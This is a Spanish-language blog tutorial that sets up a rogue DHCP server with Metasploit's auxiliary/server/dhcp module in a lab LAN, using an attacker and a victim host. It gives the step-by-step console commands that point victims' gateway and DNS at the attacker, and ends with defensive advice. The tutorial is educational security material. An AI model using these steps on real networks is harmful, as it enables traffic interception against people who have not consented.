Servidor DHCP falso con Metasploit

Esta entrada ha sido creada únicamente con fines educativos, nunca para su uso ilícito. Se pretende explicar el funcionamiento de ataques contra una red de área local usando un servidor DHCP falso.

En una entrada anterior explicábamos lo que es un servidor DHCP y el funcionamiento del protocolo para la asignación de direcciones dinámicas, para leerlo pincha aquí.

En esta entrada vamos a ver como realizar un ataque sobre una red de área local (LAN) levantando un servidor DHCP falso con Metasploit Framework y ofreciendo IPs de un rango determinado para poder acotar las direcciones IP a las que realizar cualquier actividad de seguridad, por ejemplo en busca de vulnerabilidades.

Estas direcciones IP serán ofrecidas tanto a los equipos que soliciten una IP por primera vez como a los que negocien su renovación.

Vamos al lío!!!


INTRO

Vamos a realizar un ataque dentro de una LAN levantando un servidor DHCP falso con Metasploit Framework y un payload específico para este tipo de ataques, que nos permita acotar las direcciones IP sobre las que realizar actividades de seguridad.


ENTORNO

El entorno que vamos a utilizar es el siguiente:

  • Red de área local (LAN).
  • Router/GW con servidor DHCP incorporado.
  • Host atacante con Parrot instalado.
  • Host víctima con Ubuntu instalado.


ATAQUE

Primero vamos a levantar el servidor DHCP falso y luego reiniciamos la interfaz de red de la víctima, la cual tiene la siguiente IP asignada en estos momentos:

Y la IP del host atacante que tiene asignada y que usaremos para la configuración del ataque:

Inicio DHCP falso

Primero debemos de arrancar el motor de base de datos postresql para su uso con Metasploit.

┌─[root@parrot]─[/]
└──╼ #service postgresql start
┌─[root@parrot]─[/]
└──╼ #service postgresql status
● postgresql.service - PostgreSQL RDBMS
   Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor pres
   Active: active (exited) since Sun 2019-02-03 21:35:40 CET; 2min 30s ago
  Process: 1591 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
 Main PID: 1591 (code=exited, status=0/SUCCESS)

feb 03 21:35:40 parrot systemd[1]: Starting PostgreSQL RDBMS...
feb 03 21:35:40 parrot systemd[1]: Started PostgreSQL RDBMS.

Posteriormente iniciamos la consola de Metasploit Framework.

┌─[root@parrot]─[/]
└──╼ #msfconsole

                        (`.         ,-,
                        ` `.    ,;' /
                         `.  ,'/ .'
                          `. X /.'
                .-;--''--.._` ` (
              .'            /   `
             ,           ` '   Q '
             ,         ,   `._    \
          ,.|         '     `-.;_'
          :  . `  ;    `  ` --,.._;
           ' `    ,   )   .'
              `._ ,  '   /_
                 ; ,''-,;' ``-
                  ``-..__``--`

                             https://metasploit.com


       =[ metasploit v4.17.25-dev                         ]
+ -- --=[ 1828 exploits - 1033 auxiliary - 318 post       ]
+ -- --=[ 541 payloads - 44 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf >

Una vez arrancado cargamos el payload auxiliary/server/dhcp en la consola de MSF.

msf > use auxiliary/server/dhcp
msf auxiliary(server/dhcp) > 

Vemos las opciones cargadas por defecto, las cuales lógicamente estarán vacías .

msf auxiliary(server/dhcp) > show options 

Module options (auxiliary/server/dhcp):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   BROADCAST                     no        The broadcast address to send to
   DHCPIPEND                     no        The last IP to give out
   DHCPIPSTART                   no        The first IP to give out
   DNSSERVER                     no        The DNS server IP address
   DOMAINNAME                    no        The optional domain name to assign
   FILENAME                      no        The optional filename of a tftp boot server
   HOSTNAME                      no        The optional hostname to assign
   HOSTSTART                     no        The optional host integer counter
   NETMASK                       yes       The netmask of the local subnet
   ROUTER                        no        The router IP address
   SRVHOST                       yes       The IP of the DHCP server


Auxiliary action:

   Name     Description
   ----     -----------
   Service  

Cargamos las opciones con la configuración que queremos aplicar, como el rango de IPs a servir desde el servidor DHCP, servidor DNS, Gateway, … que será siempre el host atacante.

msf auxiliary(server/dhcp) > set DHCPIPSTART 192.168.0.200
DHCPIPSTART => 192.168.0.200
msf auxiliary(server/dhcp) > set DHCPIPEND 192.168.0.203
DHCPIPEND => 192.168.0.203
msf auxiliary(server/dhcp) > set DNSSERVER 192.168.0.23
DNSSERVER => 192.168.0.23
msf auxiliary(server/dhcp) > set NETMASK 255.255.255.0
NETMASK => 255.255.255.0
msf auxiliary(server/dhcp) > set ROUTER 192.168.0.23
ROUTER => 192.168.0.23
msf auxiliary(server/dhcp) > set SRVHOST 192.168.0.23
SRVHOST => 192.168.0.23

Confirmamos la configuración cargada.

msf auxiliary(server/dhcp) > show options 

Module options (auxiliary/server/dhcp):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   BROADCAST                     no        The broadcast address to send to
   DHCPIPEND    192.168.0.203    no        The last IP to give out
   DHCPIPSTART  192.168.0.200    no        The first IP to give out
   DNSSERVER    192.168.0.23     no        The DNS server IP address
   DOMAINNAME                    no        The optional domain name to assign
   FILENAME                      no        The optional filename of a tftp boot server
   HOSTNAME                      no        The optional hostname to assign
   HOSTSTART                     no        The optional host integer counter
   NETMASK      255.255.255.0    yes       The netmask of the local subnet
   ROUTER       192.168.0.23     no        The router IP address
   SRVHOST      192.168.0.23     yes       The IP of the DHCP server


Auxiliary action:

   Name     Description
   ----     -----------
   Service  

Arrancamos el programa Wireshark para ver los paquetes DHCP que el servidor atacante va a enviar, aplicando el filtro bootp.

Ahora arrancamos el servidor DHCP falso.

msf auxiliary(server/dhcp) > run
[*] Auxiliary module running as background job 0.
msf auxiliary(server/dhcp) > 
[*] Starting DHCP server...

En estos momentos el servidor atacante enviará DHCP ACK por broadcast a toda la red, con el fin de que cualquier petición DHCP le llegue a este y no al GW original.

Solicitud de IP víctima

Reiniciamos la interfaz de red del host víctima y observamos como la IP que se le asigna corresponde al rango que configuramos en el servidor atacante. Lo mismo ocurriría si reiniciamos o arrancamos el servidor sin una IP previamente asignada.

En la consola de Wireshark observamos como las peticiones DHCP que se lanzan por broadcast son enviadas por el host atacante.

Y a la vez comprobamos como la MAC del equipo que está ofreciendo las direcciones dinámicas corresponde con la del host atacante.

 


CONCLUSIÓN

Debemos de tener mucho cuidado con la seguridad en nuestras redes LAN para evitar que un atacante acceda y pueda realizar actividades, como la expuesta en esta entrada. También debemos de tener bajo control cualquier usuario y equipo que pueda estar conectado a nuestra red, para identificar posibles intrusos.

Para ello debemos de aplicar medidas de protección tanto en la red Wifi como cableada, agregando mecanismos de control de acceso por MAC, fortalecer las contraseñas con políticas más seguras y robustas, o simplemente llevar un control de qué equipos hay conectados en cada momento.


ENLACES

Metasploit Wikipedia, pincha aquí.

Metasploit oficial, pincha aquí.

Wireshark, pincha aquí.